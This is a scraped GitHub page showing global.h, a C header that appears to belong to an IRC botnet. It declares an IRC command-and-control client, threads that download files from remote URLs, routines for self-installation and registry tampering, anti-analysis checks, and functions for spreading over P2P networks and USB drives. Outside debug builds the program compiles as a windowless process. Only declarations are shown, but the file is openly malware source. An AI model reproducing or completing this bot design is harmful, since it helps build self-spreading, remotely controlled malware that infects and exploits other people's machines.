-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathglobal.h
112 lines (99 loc) · 2.11 KB
/
global.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#ifdef DEBUG
#pragma comment(linker, "/subsystem:console")
#else
#pragma comment(linker, "/subsystem:windows")
#endif
#define MAX_LINE 512
#define MAX_RECEIVE_BUFFER 2048
#define MAX_WORDS 64
#define THREAD_WAIT_TIME 30
#define MAX_THREADS 256
#define S 666 //777 --null(CHANGED)
#define MAX_NICKLEN 40
#define REQ_NICKLEN 7
typedef enum
{
MSG_PASS,
MSG_NICK,
MSG_USER,
MSG_PONG,
MSG_JOIN,
MSG_PART,
MSG_PRIVMSG,
MSG_QUIT
} ircmessage;
typedef enum
{
NONE,
T_DOWNLOAD,
} thread_type;
typedef struct
{
char url[256];
char destination[MAX_PATH];
char channel[128];
int mode;
SOCKET ircsock;
int tnum;
} download_s;
typedef struct
{
HANDLE tHandle;
thread_type type;
SOCKET tsock;
} thread_s;
typedef struct NTHREAD {
void *conn;
char target[128];
int threadnum;
char *data1;
char *data2;
char *data3;
BOOL bdata1;
BOOL bdata2;
BOOL bdata3;
int idata1;
int idata2;
SOCKET sock;
SOCKET csock;
BOOL verbose;
BOOL silent;
BOOL gotinfo;
} NTHREAD;
//nick
char *GenerateNickA(void);
char *GenerateNumber(int Len);
char *CPUbit(void);
char *GenerateOS(void);
//connect
unsigned int Resolve(char *host);
char *GetMyIP(SOCKET sock);
//threads
HANDLE Thread_Start(LPTHREAD_START_ROUTINE function, LPVOID param, BOOL wait);
void Thread_Clear(int num);
int Thread_Add(thread_type type);
void Thread_Prepare();
int Thread_Check(thread_type type);
int Thread_Kill(thread_type type);
//irc
DWORD WINAPI IRC_Thread(LPVOID param);
int IRC_Send(SOCKET sock, ircmessage msg, char *buffer, char *to);
int pmsg(char *message);
int IRC_Connect(char *host, unsigned short port);
DWORD WINAPI DL_Thread(LPVOID param);
BOOL NET_Initialize(void);
int IRC_Begin(void);
int IRC_Listen(SOCKET socket);
int IRC_ParseSingleCommand(SOCKET sock, char **word, int p,int words, char *from);
//install
BOOL MoveBot(char *MTP, char *Bname);
void uninstall(BOOL b);
void registryKiller();
//BOOL
BOOL ProcessCheck();
BOOL ModuleCheck();
BOOL UserCheck();
//Spread
int InfectP2P();
int InfectP2Phome();
int tryUSB();